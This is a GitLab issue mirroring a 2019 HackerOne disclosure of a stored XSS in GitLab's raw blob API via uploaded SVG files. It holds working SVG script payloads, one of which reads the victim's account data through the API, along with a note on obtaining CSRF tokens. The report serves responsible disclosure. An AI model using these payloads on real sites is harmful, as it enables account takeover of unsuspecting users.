Skip to content

ESCALATED: Stored XSS in the blob APIs

HackerOne report #672150 by rpadovani on 2019-08-13, assigned to jritchey:

Summary

Visiting the blob APIs through the browser trigger a stored XSS via a .svg file

This issue is similar to https://hackerone.com/reports/651335 (tracked as gitlab-foss#65080 over Gitlab), meaning is a XSS in the APIs, but it is about a different component, since it is in a different endpoint (the other one is about files APIs, this is in blob APIs)

Steps to reproduce

  1. Create a repository
  2. Create a SVG file like
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
  <script type="text/javascript">  
     alert("surprise");  
  </script>  
</svg>  
  1. Find out its SHA, using the List Repository Tree Api
  2. Use the Raw Blob Content API to trigger the XSS, such as https://gitlab.com/api/v4/projects/13337155/repository/blobs/24a83dd041326bb5b8f723f2db3a6c9bd72397ad/raw (I can give access, if needed)

Impact

If we trick a user to visit the page (and we can use a lot of different ways to do so, e.g. including the link in a issue, or doing a redirect from an external website), we have complete access to their account.

We can use internal and external API, because we can also recovering the X-CSRF-Token easily from https://gitlab.com/-/graphql-explorer

We basically have access to the entire user profile,

Examples

Practical example of invoking APIs

<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
  <script type="text/javascript">  
    fetch("/api/v4/user")  
        .then(res => res.json())  
        .then(j => alert(j["email"]))  
  </script>  
</svg>  

What is the current bug behavior?

Stored XSS

What is the expected correct behavior?

The svg is shown as plain text

Relevant logs and/or screenshots

Attached video

Output of checks

This bug happens on GitLab.com

Impact

Basically account takeover with well crafted svg files

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

Edited by GitLab SecurityBot